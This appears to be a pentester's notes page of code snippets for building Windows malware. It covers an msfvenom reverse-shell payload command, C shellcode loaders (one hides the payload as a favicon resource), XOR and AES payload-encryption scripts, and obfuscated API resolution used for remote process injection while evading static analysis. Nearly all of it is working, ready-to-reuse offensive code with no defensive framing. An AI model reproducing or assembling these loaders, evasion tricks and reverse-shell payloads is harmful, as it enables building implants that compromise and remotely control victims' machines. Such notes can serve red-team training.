Code Snippets
Generate payload
Intrusionz3r0@htb[/htb]$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.109 LPORT=1234 raw EXITFUNC=thread > shellcode.bin
Intrusionz3r0@htb[/htb]$ msfvenom -p windows/x64/exec cmd="C:\Windows\System32\calc.exe" -f raw EXITFUNC=thread > shellcode.bin
Intrusionz3r0@htb[/htb]$ xxd -i shellcode.bin
Basic Shellcode loader
Store Payload
.text
section: Defined payload as a local variable inside main function.Store Payload
.data
section: Defined payload global variable.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//unsigned char payload[] = {PAYLOAD}; //stored .data section
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
unsigned char payload[] = {PAYLOAD}; // stored .text section
unsigned int payload_len = 4;
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec_mem, payload, payload_len);
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
Resource section payload loader
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "resources.h"
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
HGLOBAL resHandle = NULL;
HRSRC res;
unsigned char * payload;
unsigned int payload_len;
res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
resHandle = LoadResource(NULL, res);
payload = (char *) LockResource(resHandle);
payload_len = SizeofResource(NULL, res);
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec_mem, payload, payload_len);
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
File: resources.h
#define FAVICON_ICO 100
File: resources.rc
#include "resources.h"
FAVICON_ICO RCDATA calc.ico
Encryption
XOR Encryption
import sys
KEY = "mysecretkeee"
def xor(data, key):
key = str(key)
l = len(key)
output_str = ""
for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
output_str += chr(ord(current) ^ ord(current_key))
return output_str
def printCiphertext(ciphertext):
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
try:
plaintext = open(sys.argv[1], "rb").read()
except:
print("File argument needed! %s <raw payload file>" % sys.argv[0])
sys.exit()
ciphertext = xor(plaintext, KEY)
#open("fav.ico","wb").write(ciphertext)
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
How to implement:
XOR((char *) PAYLOAD , PAYLOAD_LEN , MYKEY, sizeof(MYKEY));
AES Encryption
import sys
from Crypto.Cipher import AES
from os import urandom
import hashlib
KEY = urandom(16)
def pad(s):
return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)
def aesenc(plaintext, key):
k = hashlib.sha256(key).digest()
iv = 16 * '\x00'
plaintext = pad(plaintext)
cipher = AES.new(k, AES.MODE_CBC, iv)
return cipher.encrypt(bytes(plaintext))
try:
plaintext = open(sys.argv[1], "r").read()
except:
print("File argument needed! %s <raw payload file>" % sys.argv[0])
sys.exit()
ciphertext = aesenc(plaintext, KEY)
print('AESkey[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')
print('payload[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
How to implement:
AESDecrypt((char *) PAYLOAD, PAYLOAD_LEN, MYKEY, sizeof(MYKEY));
Function call obfuscation
Example using VirtualAllocEx
, WriteProcessMemory
, CreateRemoteThread
.
// Function pointer declarations for Windows APIs (dynamic obfuscation)
// These allow calling APIs without directly importing them in the IAT
LPVOID (WINAPI * pVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress,SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
BOOL (WINAPI * pWriteProcessMemory)(HANDLE hProcess,LPVOID lpBaseAddress,LPCVOID lpBuffer,SIZE_T nSize,SIZE_T *lpNumberOfBytesWritten);
HANDLE (WINAPI * pCreateRemoteThread)(HANDLE hProcess,LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId);
// XOR-encrypted API name strings - helps evade static string analysis
unsigned char sVirtualAllocEx [] = {0x3e,0x3c,0x3c,0x10,0x34,0x0c,0x29,0x2f,0x2d,0x20,0x1b,0x02,0x31,0x1d};
unsigned char sWriteProcessMemory [] = {0x3f,0x27,0x27,0x10,0x24,0x3d,0x37,0x01,0x22,0x29,0x07,0x12,0x39,0x00,0x1f,0x1f,0x1a,0x38};
unsigned char sCreateRemoteThread [] = {0x2b,0x27,0x2b,0x05,0x35,0x08,0x17,0x0b,0x2c,0x23,0x00,0x04,0x20,0x0d,0x00,0x15,0x09,0x25};
char key[] = "mykey";
// Decrypt the API names using XOR before resolving them
XOR((char *) sVirtualAllocEx, sizeof(sVirtualAllocEx), key, sizeof(key)); // XOR encrypted "VirtualAllocEx"
XOR((char *) sWriteProcessMemory, sizeof(sWriteProcessMemory), key, sizeof(key)); // XOR encrypted "WriteProcessMemory"
XOR((char *) sCreateRemoteThread, sizeof(sCreateRemoteThread), key, sizeof(key)); // XOR encrypted "CreateRemoteThread"
// Dynamically resolve the API addresses at runtime
// This avoids having the imports in the PE header
pVirtualAllocEx = GetProcAddress(GetModuleHandle("Kernel32.dll"),sVirtualAllocEx);
pWriteProcessMemory = GetProcAddress(GetModuleHandle("Kernel32.dll"),sWriteProcessMemory);
pCreateRemoteThread = GetProcAddress(GetModuleHandle("Kernel32.dll"),sCreateRemoteThread);
// Use the resolved function pointers to perform process injection
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
hThread = pCreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
Last updated